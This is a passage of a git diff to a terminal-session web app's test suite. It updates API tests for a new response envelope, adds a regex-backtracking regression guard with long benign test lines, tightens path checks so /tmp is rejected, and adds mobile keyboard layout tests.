await fetch(`${baseUrl}/api/sessions/${result.data.session.id}`, {
|
||||
method: 'DELETE',
|
||||
});
|
||||
}
|
||||
@@ -315,7 +317,7 @@ describe('Concurrent Session Handling', () => {
|
||||
expect(createData.success).toBe(true);
|
||||
|
||||
// Delete immediately
|
||||
const deleteRes = await fetch(`${baseUrl}/api/sessions/${createData.session.id}`, {
|
||||
const deleteRes = await fetch(`${baseUrl}/api/sessions/${createData.data.session.id}`, {
|
||||
method: 'DELETE',
|
||||
});
|
||||
const deleteData = await deleteRes.json();
|
||||
@@ -327,20 +329,20 @@ describe('Concurrent Session Handling', () => {
|
||||
const caseNames = ['concurrent-test-1', 'concurrent-test-2', 'concurrent-test-3'];
|
||||
const createdCases: string[] = [];
|
||||
|
||||
const quickStartPromises = caseNames.map(name =>
|
||||
const quickStartPromises = caseNames.map((name) =>
|
||||
fetch(`${baseUrl}/api/quick-start`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ caseName: `${name}-${Date.now()}` }),
|
||||
}).then(r => r.json())
|
||||
}).then((r) => r.json())
|
||||
);
|
||||
|
||||
const results = await Promise.all(quickStartPromises);
|
||||
|
||||
for (const result of results) {
|
||||
expect(result.success).toBe(true);
|
||||
if (result.caseName) {
|
||||
createdCases.push(result.caseName);
|
||||
if (result.data.caseName) {
|
||||
createdCases.push(result.data.caseName);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -147,7 +147,7 @@ describe('File Link Click Tests', () => {
|
||||
|
||||
const data = await response.json();
|
||||
expect(data.success).toBe(true);
|
||||
createdSessions.push(data.session.id);
|
||||
createdSessions.push(data.data.sessionId);
|
||||
|
||||
// Wait for session to appear in UI
|
||||
await new Promise((r) => setTimeout(r, 2000));
|
||||
@@ -347,7 +347,7 @@ describe('File Link Click Tests', () => {
|
||||
});
|
||||
const data = await response.json();
|
||||
expect(data.success).toBe(true);
|
||||
sessionId = data.sessionId; // quick-start returns sessionId directly
|
||||
sessionId = data.data.sessionId; // quick-start returns sessionId under data envelope
|
||||
createdSessions.push(sessionId);
|
||||
}
|
||||
|
||||
|
||||
@@ -24,6 +24,10 @@ vi.mock('node:fs', async (importOriginal) => {
|
||||
...orig,
|
||||
existsSync: vi.fn(() => true),
|
||||
statSync: vi.fn(() => ({ size: 1024 })),
|
||||
// createStream re-resolves symlinks via realpathSync right before spawn (TOCTOU
|
||||
// guard); the test fixtures are non-existent paths, so the real realpathSync would
|
||||
// throw. Mock it as identity so the re-check passes.
|
||||
realpathSync: vi.fn((p: string) => p),
|
||||
};
|
||||
});
|
||||
|
||||
@@ -92,11 +96,9 @@ describe('FileStreamManager', () => {
|
||||
onError: vi.fn(),
|
||||
});
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
'tail',
|
||||
['-f', '-n', '50', expect.stringContaining('/var/log/app.log')],
|
||||
{ stdio: ['ignore', 'pipe', 'pipe'] },
|
||||
);
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tail', ['-f', '-n', '50', expect.stringContaining('/var/log/app.log')], {
|
||||
stdio: ['ignore', 'pipe', 'pipe'],
|
||||
});
|
||||
});
|
||||
|
||||
it('should use custom lines parameter', async () => {
|
||||
@@ -113,11 +115,7 @@ describe('FileStreamManager', () => {
|
||||
onError: vi.fn(),
|
||||
});
|
||||
|
||||
expect(mockSpawn).toHaveBeenCalledWith(
|
||||
'tail',
|
||||
['-f', '-n', '100', expect.any(String)],
|
||||
expect.any(Object),
|
||||
);
|
||||
expect(mockSpawn).toHaveBeenCalledWith('tail', ['-f', '-n', '100', expect.any(String)], expect.any(Object));
|
||||
});
|
||||
|
||||
it('should reject when file does not exist', async () => {
|
||||
@@ -448,7 +446,7 @@ describe('FileStreamManager', () => {
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it('should allow paths in /tmp', async () => {
|
||||
it('should reject paths in /tmp (world-writable, intentionally excluded)', async () => {
|
||||
const proc = createMockProcess();
|
||||
mockSpawn.mockReturnValue(proc);
|
||||
|
||||
@@ -461,7 +459,7 @@ describe('FileStreamManager', () => {
|
||||
onError: vi.fn(),
|
||||
});
|
||||
|
||||
expect(result.success).toBe(true);
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it('should handle stat errors gracefully', async () => {
|
||||
|
||||
+12
-12
@@ -32,21 +32,21 @@ describe('generateHooksConfig', () => {
|
||||
it('should configure idle_prompt matcher', () => {
|
||||
const config = generateHooksConfig();
|
||||
const notifHooks = config.hooks.Notification as Array<{ matcher?: string }>;
|
||||
const idleHook = notifHooks.find(h => h.matcher === 'idle_prompt');
|
||||
const idleHook = notifHooks.find((h) => h.matcher === 'idle_prompt');
|
||||
expect(idleHook).toBeDefined();
|
||||
});
|
||||
|
||||
it('should configure permission_prompt matcher', () => {
|
||||
const config = generateHooksConfig();
|
||||
const notifHooks = config.hooks.Notification as Array<{ matcher?: string }>;
|
||||
const permHook = notifHooks.find(h => h.matcher === 'permission_prompt');
|
||||
const permHook = notifHooks.find((h) => h.matcher === 'permission_prompt');
|
||||
expect(permHook).toBeDefined();
|
||||
});
|
||||
|
||||
it('should configure elicitation_dialog matcher', () => {
|
||||
const config = generateHooksConfig();
|
||||
const notifHooks = config.hooks.Notification as Array<{ matcher?: string }>;
|
||||
const elicitHook = notifHooks.find(h => h.matcher === 'elicitation_dialog');
|
||||
const elicitHook = notifHooks.find((h) => h.matcher === 'elicitation_dialog');
|
||||
expect(elicitHook).toBeDefined();
|
||||
});
|
||||
|
||||
@@ -146,7 +146,7 @@ describe('writeHooksConfig', () => {
|
||||
mkdirSync(claudeDir, { recursive: true });
|
||||
writeFileSync(
|
||||
join(claudeDir, 'settings.local.json'),
|
||||
JSON.stringify({ existingKey: 'existingValue', permissions: { allow: ['Read'] } }, null, 2),
|
||||
JSON.stringify({ existingKey: 'existingValue', permissions: { allow: ['Read'] } }, null, 2)
|
||||
);
|
||||
|
||||
await writeHooksConfig(testDir);
|
||||
@@ -160,10 +160,7 @@ describe('writeHooksConfig', () => {
|
||||
it('should overwrite existing hooks key', async () => {
|
||||
const claudeDir = join(testDir, '.claude');
|
||||
mkdirSync(claudeDir, { recursive: true });
|
||||
writeFileSync(
|
||||
join(claudeDir, 'settings.local.json'),
|
||||
JSON.stringify({ hooks: { oldHook: [] } }, null, 2),
|
||||
);
|
||||
writeFileSync(join(claudeDir, 'settings.local.json'), JSON.stringify({ hooks: { oldHook: [] } }, null, 2));
|
||||
|
||||
await writeHooksConfig(testDir);
|
||||
|
||||
@@ -214,7 +211,7 @@ describe('Hook Event API', () => {
|
||||
body: JSON.stringify({}),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
testSessionId = createData.session.id;
|
||||
testSessionId = createData.data.session.id;
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
@@ -396,7 +393,7 @@ describe('Hook Data Sanitization', () => {
|
||||
body: JSON.stringify({}),
|
||||
});
|
||||
const createData = await createRes.json();
|
||||
testSessionId = createData.session.id;
|
||||
testSessionId = createData.data.session.id;
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
@@ -641,7 +638,7 @@ describe('Hook Config Generation - Extended', () => {
|
||||
it('should include all event types', () => {
|
||||
const config = generateHooksConfig();
|
||||
const notifHooks = config.hooks.Notification as Array<{ matcher?: string }>;
|
||||
const matchers = notifHooks.map(n => n.matcher);
|
||||
const matchers = notifHooks.map((n) => n.matcher);
|
||||
expect(matchers).toContain('idle_prompt');
|
||||
expect(matchers).toContain('permission_prompt');
|
||||
expect(matchers).toContain('elicitation_dialog');
|
||||
@@ -694,7 +691,10 @@ describe('Hook Config Generation - Extended', () => {
|
||||
|
||||
it('should have consistent structure across all notification hooks', () => {
|
||||
const config = generateHooksConfig();
|
||||
const notifHooks = config.hooks.Notification as Array<{ matcher: string; hooks: Array<{ type: string; command: string; timeout: number }> }>;
|
||||
const notifHooks = config.hooks.Notification as Array<{
|
||||
matcher: string;
|
||||
hooks: Array<{ type: string; command: string; timeout: number }>;
|
||||
}>;
|
||||
|
||||
for (const hook of notifHooks) {
|
||||
expect(hook.matcher).toBeDefined();
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
/**
|
||||
* Live-server tests for the stable HTTP contract (docs/api-reference.md):
|
||||
* the uniform {success,data} envelope, error envelopes with conventional
|
||||
* HTTP statuses, the /api/v1 alias, and the /api not-found handler.
|
||||
*
|
||||
* These behaviors live in server.ts (preSerialization hook, setNotFoundHandler),
|
||||
* which the route-test harness does not install — so they need a real WebServer.
|
||||
*/
|
||||
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
|
||||
import { WebServer } from '../src/web/server.js';
|
||||
|
||||
const PORT = 3168;
|
||||
|
||||
describe('Stable HTTP contract (live server)', () => {
|
||||
let server: WebServer;
|
||||
const base = `http://localhost:${PORT}`;
|
||||
|
||||
beforeAll(async () => {
|
||||
server = new WebServer(PORT, false, true);
|
||||
await server.start();
|
||||
});
|
||||
|
||||
afterAll(async () => {
|
||||
await server.stop();
|
||||
});
|
||||
|
||||
it('wraps bare payloads as { success: true, data }', async () => {
|
||||
const res = await fetch(`${base}/api/status`);
|
||||
expect(res.status).toBe(200);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.data).toBeDefined();
|
||||
expect(body.data.version).toBeDefined();
|
||||
});
|
||||
|
||||
it('serves the same envelope on the /api/v1 alias', async () => {
|
||||
const res = await fetch(`${base}/api/v1/status`);
|
||||
expect(res.status).toBe(200);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(true);
|
||||
expect(body.data.version).toBeDefined();
|
||||
});
|
||||
|
||||
it('maps error envelopes to conventional HTTP statuses', async () => {
|
||||
const res = await fetch(`${base}/api/sessions/nonexistent/terminal`);
|
||||
expect(res.status).toBe(404);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(false);
|
||||
expect(typeof body.error).toBe('string');
|
||||
expect(body.errorCode).toBe('NOT_FOUND');
|
||||
});
|
||||
|
||||
it('returns a contract-shaped 404 for unknown /api routes', async () => {
|
||||
const res = await fetch(`${base}/api/this-route-does-not-exist`);
|
||||
expect(res.status).toBe(404);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.errorCode).toBe('NOT_FOUND');
|
||||
});
|
||||
|
||||
it('returns a contract-shaped 404 for unknown /api/v1 routes', async () => {
|
||||
const res = await fetch(`${base}/api/v1/this-route-does-not-exist`);
|
||||
expect(res.status).toBe(404);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.errorCode).toBe('NOT_FOUND');
|
||||
});
|
||||
|
||||
it('rejects a bad /api/events/subscribe body with an error envelope', async () => {
|
||||
const res = await fetch(`${base}/api/events/subscribe`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({}),
|
||||
});
|
||||
expect(res.status).toBe(400);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.errorCode).toBe('INVALID_INPUT');
|
||||
});
|
||||
|
||||
it('keeps validation errors on the envelope with HTTP 400', async () => {
|
||||
const res = await fetch(`${base}/api/clipboard`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ text: '' }),
|
||||
});
|
||||
expect(res.status).toBe(400);
|
||||
const body = await res.json();
|
||||
expect(body.success).toBe(false);
|
||||
expect(body.errorCode).toBe('INVALID_INPUT');
|
||||
});
|
||||
});
|
||||
@@ -58,24 +58,24 @@ describe('Integration Flows', () => {
|
||||
const quickStartData = await quickStartRes.json();
|
||||
|
||||
expect(quickStartData.success).toBe(true);
|
||||
expect(quickStartData.sessionId).toBeDefined();
|
||||
expect(quickStartData.caseName).toBe(caseName);
|
||||
createdSessions.push(quickStartData.sessionId);
|
||||
expect(quickStartData.data.sessionId).toBeDefined();
|
||||
expect(quickStartData.data.caseName).toBe(caseName);
|
||||
createdSessions.push(quickStartData.data.sessionId);
|
||||
|
||||
// Step 2: Verify session is in interactive mode
|
||||
const sessionRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.sessionId}`);
|
||||
const sessionRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.data.sessionId}`);
|
||||
const sessionData = await sessionRes.json();
|
||||
|
||||
expect(sessionData.id).toBe(quickStartData.sessionId);
|
||||
expect(sessionData.workingDir).toContain(caseName);
|
||||
expect(['busy', 'idle', 'running']).toContain(sessionData.status); // May transition quickly in test mode
|
||||
expect(sessionData.data.id).toBe(quickStartData.data.sessionId);
|
||||
expect(sessionData.data.workingDir).toContain(caseName);
|
||||
expect(['busy', 'idle', 'running']).toContain(sessionData.data.status); // May transition quickly in test mode
|
||||
|
||||
// Step 3: Verify case was created with CLAUDE.md
|
||||
const caseRes = await fetch(`${baseUrl}/api/cases/${caseName}`);
|
||||
const caseData = await caseRes.json();
|
||||
|
||||
expect(caseData.name).toBe(caseName);
|
||||
expect(caseData.hasClaudeMd).toBe(true);
|
||||
expect(caseData.data.name).toBe(caseName);
|
||||
expect(caseData.data.hasClaudeMd).toBe(true);
|
||||
});
|
||||
|
||||
it('should reuse existing case when quick starting with existing case name', async () => {
|
||||
@@ -90,10 +90,10 @@ describe('Integration Flows', () => {
|
||||
});
|
||||
const firstData = await firstRes.json();
|
||||
expect(firstData.success).toBe(true);
|
||||
createdSessions.push(firstData.sessionId);
|
||||
createdSessions.push(firstData.data.sessionId);
|
||||
|
||||
// Delete the session but keep the case
|
||||
await fetch(`${baseUrl}/api/sessions/${firstData.sessionId}`, { method: 'DELETE' });
|
||||
await fetch(`${baseUrl}/api/sessions/${firstData.data.sessionId}`, { method: 'DELETE' });
|
||||
|
||||
// Second quick start - should reuse the case
|
||||
const secondRes = await fetch(`${baseUrl}/api/quick-start`, {
|
||||
@@ -104,9 +104,9 @@ describe('Integration Flows', () => {
|
||||
const secondData = await secondRes.json();
|
||||
|
||||
expect(secondData.success).toBe(true);
|
||||
expect(secondData.caseName).toBe(caseName);
|
||||
expect(secondData.casePath).toBe(firstData.casePath);
|
||||
createdSessions.push(secondData.sessionId);
|
||||
expect(secondData.data.caseName).toBe(caseName);
|
||||
expect(secondData.data.casePath).toBe(firstData.data.casePath);
|
||||
createdSessions.push(secondData.data.sessionId);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -132,20 +132,20 @@ describe('Integration Flows', () => {
|
||||
});
|
||||
const sessionData = await sessionRes.json();
|
||||
expect(sessionData.success).toBe(true);
|
||||
createdSessions.push(sessionData.session.id);
|
||||
createdSessions.push(sessionData.data.session.id);
|
||||
|
||||
// Step 3: Start interactive mode
|
||||
const interactiveRes = await fetch(`${baseUrl}/api/sessions/${sessionData.session.id}/interactive`, {
|
||||
const interactiveRes = await fetch(`${baseUrl}/api/sessions/${sessionData.data.session.id}/interactive`, {
|
||||
method: 'POST',
|
||||
});
|
||||
const interactiveData = await interactiveRes.json();
|
||||
expect(interactiveData.success).toBe(true);
|
||||
|
||||
// Verify session state
|
||||
const verifyRes = await fetch(`${baseUrl}/api/sessions/${sessionData.session.id}`);
|
||||
const verifyRes = await fetch(`${baseUrl}/api/sessions/${sessionData.data.session.id}`);
|
||||
const verifyData = await verifyRes.json();
|
||||
expect(['busy', 'idle', 'running']).toContain(verifyData.status);
|
||||
expect(verifyData.workingDir).toContain(caseName);
|
||||
expect(['busy', 'idle', 'running']).toContain(verifyData.data.status);
|
||||
expect(verifyData.data.workingDir).toContain(caseName);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -162,13 +162,13 @@ describe('Integration Flows', () => {
|
||||
});
|
||||
const quickStartData = await quickStartRes.json();
|
||||
expect(quickStartData.success).toBe(true);
|
||||
createdSessions.push(quickStartData.sessionId);
|
||||
createdSessions.push(quickStartData.data.sessionId);
|
||||
|
||||
// Wait for Claude to start up
|
||||
await new Promise(resolve => setTimeout(resolve, 2000));
|
||||
await new Promise((resolve) => setTimeout(resolve, 2000));
|
||||
|
||||
// Send input
|
||||
const inputRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.sessionId}/input`, {
|
||||
const inputRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.data.sessionId}/input`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ input: '/help\n' }),
|
||||
@@ -177,12 +177,12 @@ describe('Integration Flows', () => {
|
||||
expect(inputData.success).toBe(true);
|
||||
|
||||
// Wait for response
|
||||
await new Promise(resolve => setTimeout(resolve, 1000));
|
||||
await new Promise((resolve) => setTimeout(resolve, 1000));
|
||||
|
||||
// Check terminal buffer has content
|
||||
const terminalRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.sessionId}/terminal`);
|
||||
const terminalRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.data.sessionId}/terminal`);
|
||||
const terminalData = await terminalRes.json();
|
||||
expect(terminalData.terminalBuffer.length).toBeGreaterThan(0);
|
||||
expect(terminalData.data.terminalBuffer.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('should handle terminal resize', async () => {
|
||||
@@ -197,15 +197,21 @@ describe('Integration Flows', () => {
|
||||
});
|
||||
const quickStartData = await quickStartRes.json();
|
||||
expect(quickStartData.success).toBe(true);
|
||||
createdSessions.push(quickStartData.sessionId);
|
||||
createdSessions.push(quickStartData.data.sessionId);
|
||||
|
||||
// Resize terminal
|
||||
const resizeRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.sessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols: 200, rows: 50 }),
|
||||
});
|
||||
const resizeData = await resizeRes.json();
|
||||
// Resize terminal (retry briefly — a just-quick-started session can be
|
||||
// momentarily busy, which would return SESSION_BUSY; this is a transient race).
|
||||
let resizeData;
|
||||
for (let attempt = 0; attempt < 5; attempt++) {
|
||||
const resizeRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.data.sessionId}/resize`, {
|
||||
method: 'POST',
|
||||
headers: { 'Content-Type': 'application/json' },
|
||||
body: JSON.stringify({ cols: 200, rows: 50 }),
|
||||
});
|
||||
resizeData = await resizeRes.json();
|
||||
if (resizeData.success) break;
|
||||
await new Promise((r) => setTimeout(r, 100));
|
||||
}
|
||||
expect(resizeData.success).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -225,16 +231,16 @@ describe('Integration Flows', () => {
|
||||
expect(quickStartData.success).toBe(true);
|
||||
|
||||
// Delete the session
|
||||
const deleteRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.sessionId}`, {
|
||||
const deleteRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.data.sessionId}`, {
|
||||
method: 'DELETE',
|
||||
});
|
||||
const deleteData = await deleteRes.json();
|
||||
expect(deleteData.success).toBe(true);
|
||||
|
||||
// Verify session is gone
|
||||
const verifyRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.sessionId}`);
|
||||
const verifyRes = await fetch(`${baseUrl}/api/sessions/${quickStartData.data.sessionId}`);
|
||||
const verifyData = await verifyRes.json();
|
||||
expect(verifyData.error).toBe('Session not found');
|
||||
expect(verifyData.error).toContain('not found');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -251,20 +257,20 @@ describe('Integration Flows', () => {
|
||||
});
|
||||
const quickStartData = await quickStartRes.json();
|
||||
expect(quickStartData.success).toBe(true);
|
||||
createdSessions.push(quickStartData.sessionId);
|
||||
createdSessions.push(quickStartData.data.sessionId);
|
||||
|
||||
// Get full status
|
||||
const statusRes = await fetch(`${baseUrl}/api/status`);
|
||||
const statusData = await statusRes.json();
|
||||
|
||||
expect(statusData.sessions).toBeDefined();
|
||||
expect(Array.isArray(statusData.sessions)).toBe(true);
|
||||
expect(statusData.scheduledRuns).toBeDefined();
|
||||
expect(statusData.respawnStatus).toBeDefined();
|
||||
expect(statusData.timestamp).toBeDefined();
|
||||
expect(statusData.data.sessions).toBeDefined();
|
||||
expect(Array.isArray(statusData.data.sessions)).toBe(true);
|
||||
expect(statusData.data.scheduledRuns).toBeDefined();
|
||||
expect(statusData.data.respawnStatus).toBeDefined();
|
||||
expect(statusData.data.timestamp).toBeDefined();
|
||||
|
||||
// Verify our session is in the list
|
||||
const ourSession = statusData.sessions.find((s: any) => s.id === quickStartData.sessionId);
|
||||
const ourSession = statusData.data.sessions.find((s: any) => s.id === quickStartData.data.sessionId);
|
||||
expect(ourSession).toBeDefined();
|
||||
expect(ourSession.workingDir).toContain(caseName);
|
||||
});
|
||||
@@ -309,7 +315,7 @@ describe('SSE Event Flow', () => {
|
||||
|
||||
const fetchPromise = fetch(`${baseUrl}/api/events`, {
|
||||
signal: controller.signal,
|
||||
}).then(async response => {
|
||||
}).then(async (response) => {
|
||||
const reader = response.body?.getReader();
|
||||
if (reader) {
|
||||
try {
|
||||
@@ -331,7 +337,7 @@ describe('SSE Event Flow', () => {
|
||||
});
|
||||
|
||||
// Wait for connection
|
||||
await new Promise(resolve => setTimeout(resolve, 100));
|
||||
await new Promise((resolve) => setTimeout(resolve, 100));
|
||||
|
||||
// Perform quick start
|
||||
const quickStartRes = await fetch(`${baseUrl}/api/quick-start`, {
|
||||
@@ -341,14 +347,16 @@ describe('SSE Event Flow', () => {
|
||||
});
|
||||
const quickStartData = await quickStartRes.json();
|
||||
expect(quickStartData.success).toBe(true);
|
||||
createdSessions.push(quickStartData.sessionId);
|
||||
createdSessions.push(quickStartData.data.sessionId);
|
||||
|
||||
// Wait for events
|
||||
await new Promise(resolve => setTimeout(resolve, 500));
|
||||
await new Promise((resolve) => setTimeout(resolve, 500));
|
||||
|
||||
// Stop SSE
|
||||
controller.abort();
|
||||
try { await fetchPromise; } catch {}
|
||||
try {
|
||||
await fetchPromise;
|
||||
} catch {}
|
||||
|
||||
// Verify expected events were received
|
||||
expect(receivedEvents).toContain('init');
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
/**
|
||||
* @fileoverview Regression guard for the terminal link-provider regexes in
|
||||
* `src/web/public/terminal-ui.js`.
|
||||
*
|
||||
* The link provider runs its patterns against every hovered terminal line
|
||||
* (logical lines — xterm re-joins wrapped rows, so inputs reach multiple KB).
|
||||
* A pattern with ambiguous backtracking freezes the entire tab on hover:
|
||||
* 0.9.10's `cmdPattern` used `(?:[^\s\/]*\s+)*` (empty-matchable token,
|
||||
* unbounded), which went exponential on real Claude output — wrapped
|
||||
* `git commit -m "$(cat <<'EOF'` heredoc lines hung the main thread for
|
||||
* minutes per hover.
|
||||
*
|
||||
* This test extracts the pattern literals FROM THE SHIPPED SOURCE (no copies
|
||||
* that can drift) and asserts they stay linear-time on those killer shapes,
|
||||
* and that `cmdPattern` still links the command+path forms it exists for.
|
||||
*/
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { readFileSync } from 'fs';
|
||||
import { join } from 'path';
|
||||
|
||||
const SOURCE = readFileSync(join(__dirname, '..', 'src', 'web', 'public', 'terminal-ui.js'), 'utf-8');
|
||||
|
||||
/** Extract `const <name> = /.../g;` from the shipped source and build the RegExp. */
|
||||
function shippedPattern(name: string): RegExp {
|
||||
const m = SOURCE.match(new RegExp(`const ${name} =\\s*\\n?\\s*(/(?:[^/\\\\\\n]|\\\\.)+/[a-z]*)`));
|
||||
if (!m) throw new Error(`pattern ${name} not found in terminal-ui.js`);
|
||||
const lit = m[1];
|
||||
const lastSlash = lit.lastIndexOf('/');
|
||||
return new RegExp(lit.slice(1, lastSlash), lit.slice(lastSlash + 1));
|
||||
}
|
||||
|
||||
const PATTERN_NAMES = ['urlPattern', 'cmdPattern', 'extPattern', 'bashPattern'];
|
||||
|
||||
/** Lines that made 0.9.10's cmdPattern backtrack exponentially (>2s each). */
|
||||
const KILLER_LINES = [
|
||||
// wrapped git-commit heredoc from real Claude tool output (the 0.9.10 freeze)
|
||||
` /Users/arbbot/codeman-cases/topagent-control commit -m "$(cat <<'EOF'${' '.repeat(3000)}`,
|
||||
// aligned table row: trigger word + multi-space-separated columns + mid-token slash
|
||||
'watch ' + 'col '.repeat(40) + ' BTC/USDT',
|
||||
// trigger word followed by many tokens and no token-initial path
|
||||
'cat ' + 'word '.repeat(800) + 'no-path-here',
|
||||
// long URL-ish and path-ish soup for the other patterns
|
||||
'https://example.com/' + 'a/'.repeat(1500) + ' ' + '/home/x/'.repeat(400) + '.'.repeat(2000),
|
||||
'Bash(' + 'x'.repeat(4000),
|
||||
];
|
||||
|
||||
describe('terminal link-provider regexes (shipped source)', () => {
|
||||
it('all patterns stay linear-time on killer lines', () => {
|
||||
const patterns = PATTERN_NAMES.map((n) => [n, shippedPattern(n)] as const);
|
||||
const start = Date.now();
|
||||
for (const [, re] of patterns) {
|
||||
for (const line of KILLER_LINES) {
|
||||
re.lastIndex = 0;
|
||||
while (re.exec(line) !== null) {
|
||||
/* drain all matches like the provider does */
|
||||
}
|
||||
}
|
||||
}
|
||||
const elapsed = Date.now() - start;
|
||||
// 20 pattern×line runs over multi-KB inputs: linear patterns finish in a few
|
||||
// ms; the 0.9.10 cmdPattern alone needed minutes for ONE line.
|
||||
expect(elapsed).toBeLessThan(500);
|
||||
});
|
||||
|
||||
it('cmdPattern still links command + path forms', () => {
|
||||
const cmd = shippedPattern('cmdPattern');
|
||||
const cases: Array<[string, string]> = [
|
||||
['tail -f /var/log/app.log', '/var/log/app.log'],
|
||||
['cat -n /tmp/x.json', '/tmp/x.json'],
|
||||
['grep -rn pattern /home/user/src', '/home/user/src'],
|
||||
['watch ls /opt/data', '/opt/data'],
|
||||
['head -c 100 /etc/hosts', '/etc/hosts'],
|
||||
];
|
||||
for (const [line, want] of cases) {
|
||||
cmd.lastIndex = 0;
|
||||
const m = cmd.exec(line);
|
||||
expect(m, line).not.toBeNull();
|
||||
expect(m![2]).toBe(want);
|
||||
}
|
||||
});
|
||||
|
||||
it('cmdPattern arg group cannot match empty tokens (the exponential trigger)', () => {
|
||||
// structural guard: the dangerous construct is an empty-matchable token
|
||||
// inside a repeated group — `[^\s\/]*\s+` repeated. Check the pattern
|
||||
// literal itself (not the whole file — the warning comment quotes it).
|
||||
const lit = shippedPattern('cmdPattern').source;
|
||||
expect(lit).not.toContain('[^\\s\\/]*\\s+)*');
|
||||
});
|
||||
});
|
||||
@@ -222,16 +222,29 @@ describe('Virtual Keyboard', () => {
|
||||
await context.close();
|
||||
});
|
||||
|
||||
it('toolbar slides up via translateY on keyboard show', async () => {
|
||||
it('toolbar remains below terminal when keyboard show shrinks the app viewport', async () => {
|
||||
await showKeyboard(page, KEYBOARD.TYPICAL_IOS_HEIGHT);
|
||||
await page.waitForTimeout(WAIT.KEYBOARD_ANIMATION);
|
||||
|
||||
const transform = await page.evaluate(() => {
|
||||
const layout = await page.evaluate(() => {
|
||||
const toolbar = document.querySelector('.toolbar') as HTMLElement | null;
|
||||
return toolbar?.style.transform ?? '';
|
||||
const accessory = document.querySelector('.keyboard-accessory-bar') as HTMLElement | null;
|
||||
const terminalWrap = document.querySelector('.terminal-wrap') as HTMLElement | null;
|
||||
const toolbarRect = toolbar?.getBoundingClientRect();
|
||||
const accessoryRect = accessory?.getBoundingClientRect();
|
||||
const terminalRect = terminalWrap?.getBoundingClientRect();
|
||||
return {
|
||||
toolbarTransform: toolbar?.style.transform ?? '',
|
||||
accessoryTransform: (accessory as HTMLElement | null)?.style.transform ?? '',
|
||||
toolbarTop: toolbarRect?.top ?? 0,
|
||||
accessoryTop: accessoryRect?.top ?? 0,
|
||||
terminalBottom: terminalRect?.bottom ?? 0,
|
||||
};
|
||||
});
|
||||
expect(transform).not.toBe('');
|
||||
expect(transform).toContain('translateY');
|
||||
expect(layout.toolbarTransform).toBe('');
|
||||
expect(layout.accessoryTransform).toBe('');
|
||||
expect(layout.accessoryTop).toBeGreaterThanOrEqual(layout.terminalBottom - 4);
|
||||
expect(layout.toolbarTop).toBeGreaterThan(layout.accessoryTop);
|
||||
});
|
||||
|
||||
it('accessory bar gets .visible class', async () => {
|
||||
@@ -263,6 +276,32 @@ describe('Virtual Keyboard', () => {
|
||||
expect(newPx).toBeGreaterThan(initialPx);
|
||||
});
|
||||
|
||||
it('does not reserve the keyboard height as visible terminal dead space', async () => {
|
||||
await showKeyboard(page, KEYBOARD.TYPICAL_IOS_HEIGHT);
|
||||
await page.waitForTimeout(WAIT.KEYBOARD_ANIMATION);
|
||||
|
||||
const layout = await page.evaluate(() => {
|
||||
const main = document.querySelector('.main') as HTMLElement | null;
|
||||
const appEl = document.querySelector('.app') as HTMLElement | null;
|
||||
const terminalWrap = document.querySelector('.terminal-wrap') as HTMLElement | null;
|
||||
const toolbar = document.querySelector('.toolbar') as HTMLElement | null;
|
||||
const accessory = document.querySelector('.keyboard-accessory-bar') as HTMLElement | null;
|
||||
return {
|
||||
appHeight: appEl?.getBoundingClientRect().height ?? 0,
|
||||
mainPaddingBottom: main ? parseFloat(main.style.paddingBottom || '0') : 0,
|
||||
terminalHeight: terminalWrap?.getBoundingClientRect().height ?? 0,
|
||||
toolbarHeight: toolbar?.getBoundingClientRect().height ?? 0,
|
||||
accessoryHeight: accessory?.getBoundingClientRect().height ?? 0,
|
||||
visualViewportHeight: window.visualViewport?.height ?? window.innerHeight,
|
||||
};
|
||||
});
|
||||
|
||||
expect(layout.appHeight).toBeLessThanOrEqual(layout.visualViewportHeight + 2);
|
||||
expect(layout.mainPaddingBottom).toBeLessThan(KEYBOARD.TYPICAL_IOS_HEIGHT);
|
||||
expect(layout.mainPaddingBottom).toBeGreaterThanOrEqual(layout.toolbarHeight + layout.accessoryHeight - 4);
|
||||
expect(layout.terminalHeight).toBeGreaterThan(160);
